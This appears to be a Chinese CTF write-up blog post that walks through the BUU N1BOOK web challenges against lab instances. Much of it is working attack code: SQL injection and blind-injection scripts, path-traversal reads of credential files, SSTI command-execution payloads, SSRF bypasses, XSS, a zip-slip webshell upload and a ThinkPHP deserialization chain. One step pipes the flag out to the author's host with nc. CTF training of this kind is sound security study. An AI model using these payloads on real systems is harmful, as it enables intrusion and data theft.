BUU_N1BOOK_WEB
Charmersix

常见的搜集

目录扫描发现robots.txt,index.php~,index.php.swp
分别发现

1
2
3
flag1:n1book{info_1
flag2:s_v3ry_im
flag3:p0rtant_hack}

线程一定要调低一些,不然直接干宕机了

粗心的小李

1
python .\GitHack.py -u "http://c2d396b5-d801-49a1-be14-d1523302ec9c.node5.buuoj.cn:81/.git/"

SQL注入-1

简单的字符型注入

1
2
3
?id=1and1=2--+,回显正常
?id=1and1='1--+,回显正常
?id=1’and’1’='2--+,回显失败

手工注入:

1
2
3
4
5
6
查表名
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 limit 1,1 --+
查列名
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),3 limit 1,1%23
查数据
1' union select 1,(select fllllag from fl4g),3 limit 1,1%23

当然也可以直接sqlmap梭一下

1
python .\sqlmap.py -u "http://7138a712-41af-4338-bf3e-acaab24aa4dd.node5.buuoj.cn:81/index.php?id=1" -D note -T fl4g --dump --batch

SQL注入-2

这里有三种方法,预期解应该是报错注入,但是时间盲注和布尔盲注也都能解决

报错注入

image-20260220172240580

这里有提示,就可以回显报错了,如果没有这个,就只能盲注了

1
2
3
4
5
6
查表名
name=123' or updatexml(1, concat(0x7e,(selECt group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),3)%23&pass=1
查列名
name=123' or updatexml(1, concat(0x7e,(selECt group_concat(column_name) from information_schema.columns where table_name='fl4g'),0x7e),3)%23&pass=1
查数据
name=1' and updatexml(1,concat(0x7e,(selECT flag from note.fl4g),0x7e),1)#&pass=1

image-20260220172322216

布尔盲注

image-20260220172421341

image-20260220172436055

根据这个报错信息,就可以用于判断账号的某一位是否正确,比如我们可以借助substr看一下库名第一位

1
name=1' or substr(database(),1,1)='a'#&pass=1

image-20260220172808883

那么第一位就是n,这里可以借助脚本实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://f9682b0d-65a9-4faf-9281-e3bd2e80fb34.node5.buuoj.cn:81/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s'#"
sql = "=1' or substr((seLEct flag from fl4g),%d,1)='%s'#"
flag = ""
for num in range(1,28):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
r = requests.post(url = url , data=data)
time.sleep(0.05)
if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
flag += i
print("flag:" , flag)
break
print("flag:", flag)

时间盲注

和布尔盲注类似,只是这里不跟据回显判断,根据时间判断,自己来创造条件

1
name=1'+or+if(substr(database(),1,1)='n',sleep(1),1)#&pass=1

同样可以上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#"
#sql = "1' or if(substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',sleep(2),1)#"
#sql = "1' or if(substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s',sleep(2),1)#"
sql = "1' or if(substr((seLEct flag from fl4g),%d,1)='%s',sleep(2),1)#"
flag = ''
for num in range(1,27):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
# print(data)
t = int(time.time())
r = requests.post(url = url , data=data)
if int(time.time()) - t > 2 :
flag += i
print("flag:" , flag)
break
print("flag:", flag)

afr_1

借助filter协议读取

1
?p=php://filter/convert.base64-encode/resource=flag

image-20260220175353933

甚至hackbar也能直接生成payload

afr_2

添加..实现目录穿越,但是这里必须是/img../

image-20260220180413499

构造payload

1
/img../flag

afr_3

1
/article?name=../../../../../etc/passwd

位置存在文件包含,我们尝试包含一下flag,失败了,尝试各种绕过方法也没用,看来不单单是个文件包含,fuzz一下文件系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#Windows
boot.ini
Windows\System32\inetsrv\MetaBase.xml
Windows\repair\sam
Program Files\mysql\my.ini
Program Files\mysql\data\mysql\user.MYD
Windows\php.ini
..\..\..\..\..\..\..\..\..\..\Windows\my.ini
#Linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*
/proc/mounts
/proc/config.gz
/proc/self/cmdline
/proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts # 挂载的文件系统列表
/proc/net/arp # arp表,可以获得内网其他机器的地址
/proc/net/route # 路由表信息
/proc/net/tcp and /proc/net/udp # 活动连接的信息
/proc/net/fib_trie # 路由缓存
/proc/version # 内核版本
/proc/[PID]/cmdline # 可能包含有用的路径信息
/proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd # 当前进程的工作目录
proc/[PID]/fd/[#] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log

image-20260224112917579

发现server.py,直接读也失败了,可以通过当前进程的工作目录来读取

1
/article?name=../../../proc/self/cwd/server.py

image-20260224114133480

发现flag.py和key.py,flag读取失败,我们读一下key

image-20260224134747879

拿到key,且存在ssti危险函数,且username为n1code,这里借助flask-session-cookie-manager生成一个session

1
2
3
4
python flask_session_cookie_manager3.py encode \-s Drmhze6EPcv0fN_81Bj-nA \-t "$(cat payload.json)"
payload.json: {"n1code": "{{x.__init__.__globals__['__builtins__']['eval'](\"__import__('os').popen('cat flag.py').read()\")}}"}

python .\flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{x.__init__.__globals__[\'__builtins__\'].open(\'flag.py\', \'r\').read()}}'}"

这里的ssti_payload在shell中会出现各种符号报错,所以我们直接借助json文件在kali执行会更方便一些,这里提供俩payload

然后构造session即可获取flag

image-20260224134955818

这里复习一下ssti常用payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1、任意命令执行
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
2、任意命令执行
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
//这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
3、任意命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
4、任意命令执行
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
//x的含义是可以为任意字母,不仅仅限于x
5、任意命令执行
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
6、文件读取
{{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
//x的含义是可以为任意字母,不仅仅限于x
{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}

SSRF Training

比较简单,这里提供几个payload,可以都试试

1
2
3
4
5
6
十进制整数:http://2130706433
十六进制:http://0x7f000001 或 http://0x7f.0.0.1
八进制:http://0177.0.0.1 或 http://0177.00.00.01
http://127.1
http://0.0.0.0
http://127.0.0.1

image-20260224140225137

当然也可以ssrfmap

1
2
3
4
5
6
#1端口扫描
python ssrfmap.py -r post.txt -p 参数 -m portscan
#2读取文件
python ssrfmap.py -r post.txt -p url -m readfiles --rfiles /etc/passwd
#3利用 Redis RCE
python ssrfmap.py -r post.txt -p url -m redis --lhost 127.0.0.1 --lport 6379 -l 6379

image-20260224172850699

死亡ping命令

1
; | &都被过滤了,但是回车还可以使用,url编码:%0a

这里没有回显,可以弹一下shell,反弹shell命令被ban了,这里可以通过我们的服务器,远程写入一个反弹命令

在我们本地80端口起一个服务,网站目录下写入1.sh

1
2
ls
cat /F* | nc 10.88.14.213 6666

然后用python起一个http服务

1
python -m http.server 80

让靶机来访问我们的sh文件,并且存到本地

1
ip=127.0.0.1%0acurl 10.88.14.213/1.sh > /tmp/7.sh

image-20260224152431984

加一个执行权限

1
127.0.0.1%0achmod 777 /tmp/8.sh
1
127.0.0.1%0ash /tmp/8.sh

执行,成功回弹flag

image-20260224152624870

XSS闯关

L1常规题目,直接<script>alert(1)</script>结束战斗或者<img src="x" onerror="alert(1)">

L2闭合标签'</script><img src="x" onerror="alert(1)">

L3依旧闭合标签'</script><img src="x" onerror="alert(1)">

L4,分析一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
var time = 10;
var jumpUrl;
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}

我们可以借助jumpUrl传入JavaScript代码

1
javascript:alert(1)

L5,无论写入什么都没用,我们看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{

}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}

我们发现代码中定义了两个变量,所以我们直需要绕过这两个变量即可

1
?autosubmit=0&action=JavaScript:alert(1)

L6AngularJS客户端模板注入

我在这里写过https://charmersix.github.io/2022/05/12/AngularJS%20xss/但是图床好像挂了

1
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');

if(!$_FILES){

echo '

<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>文件上传章节练习题</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<style type="text/css">
.login-box{
margin-top: 100px;
height: 500px;
border: 1px solid #000;
}
body{
background: white;
}
.btn1{
width: 200px;
}
.d1{
display: block;
height: 400px;
}
</style>
</head>
<body>
<div class="container">
<div class="login-box col-md-12">
<form class="form-horizontal" method="post" enctype="multipart/form-data" >
<h1>文件上传章节练习题</h1>
<hr />
<div class="form-group">
<label class="col-sm-2 control-label">选择文件:</label>
<div class="input-group col-sm-10">
<div >
<label for="">
<input type="file" name="file" />
</label>
</div>
</div>
</div>

<div class="col-sm-8 text-right">
<input type="submit" class="btn btn-success text-right btn1" />
</div>
</form>
</div>
</div>
</body>
</html>
';

show_source(__FILE__);
}else{
$file = $_FILES['file'];

if(!$file){
exit("请勿上传空文件");
}
$name = $file['name'];

$dir = 'upload/';
$ext = strtolower(substr(strrchr($name, '.'), 1));
$path = $dir.$name;

function check_dir($dir){
$handle = opendir($dir);
while(($f = readdir($handle)) !== false){
if(!in_array($f, array('.', '..'))){
if(is_dir($dir.$f)){
check_dir($dir.$f.'/');
}else{
$ext = strtolower(substr(strrchr($f, '.'), 1));
if(!in_array($ext, array('jpg', 'gif', 'png'))){
unlink($dir.$f);
}
}

}
}
}

if(!is_dir($dir)){
mkdir($dir);
}

$temp_dir = $dir.md5(time(). rand(1000,9999));
if(!is_dir($temp_dir)){
mkdir($temp_dir);
}

if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
if($ext == 'zip'){
$archive = new PclZip($file['tmp_name']);
foreach($archive->listContent() as $value){
$filename = $value["filename"];
if(preg_match('/\.php$/', $filename)){
exit("压缩包内不允许含有php文件!");
}
}
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
check_dir($dir);
exit("解压失败");
}

check_dir($dir);
exit('上传成功!');
}else{
move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
check_dir($dir);
exit('上传成功!');
}
}else{
exit('仅允许上传zip、jpg、gif、png文件!');
}
}

代码分为3个功能

1.将上传的文件保存在upload路径下,同时检查压缩包内的文件名是否有带有.或者..的,并且检查文件是否是jpg,gif,png直接上传的'jpg', 'gif', 'png文件是没有这个待遇的,会被放入一个tmp路径,tmp路径是随机的md5值,从1000到9999

但是,斜杠是没法正常命名的,我们可以借助010editor来改名字

apache服务器,有文件解析漏洞,如果遇到无法解析的后缀名会向前解析,比如1.php.xxx就可以解析成1.php

image-20260224162205680

然后计算好起的名字的长度,例如../../1.php.xxx这个名字就是15位的,给这个还没有压缩的马起个占15字符的名字,例如123456789123456

上传成功,直接访问,可以拿到flagimage-20260224163009256

thinkphp反序列化利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["cat ../../../../F*","cat ../../../../F*"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

Python里的SSRF

常规题,题目给了路径和端口就比较简单了

1
2
http://127.0.0.2
http://0.0.0.0

image-20260224164919839

SSTI

这里提示password,我们直接传参4,回显得4,说明存在ssti,直接拿我上面分享的payload打就可以

这里再次复习一下ssti常用payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1、任意命令执行
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
2、任意命令执行
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
//这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
3、任意命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
4、任意命令执行
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
//x的含义是可以为任意字母,不仅仅限于x
5、任意命令执行
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
6、文件读取
{{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
//x的含义是可以为任意字母,不仅仅限于x
{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}
1
?password={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat app/server.py').read()")}}

image-20260224165829005

当然,也可以TPLmap

1
python .\tplmap.py -u "http://93df25c2-1128-461c-b188-92cd6f431a61.node5.buuoj.cn:81/?password=" --os-shell

image-20260224171014827

逻辑漏洞

直接提交就能登录进去,真正的任意用户密码登录

买niceday我们能发现可以成功购买,那么我们直接改成-2000

image-20260224192242741

这样我们就可以正常买flag了

 Comments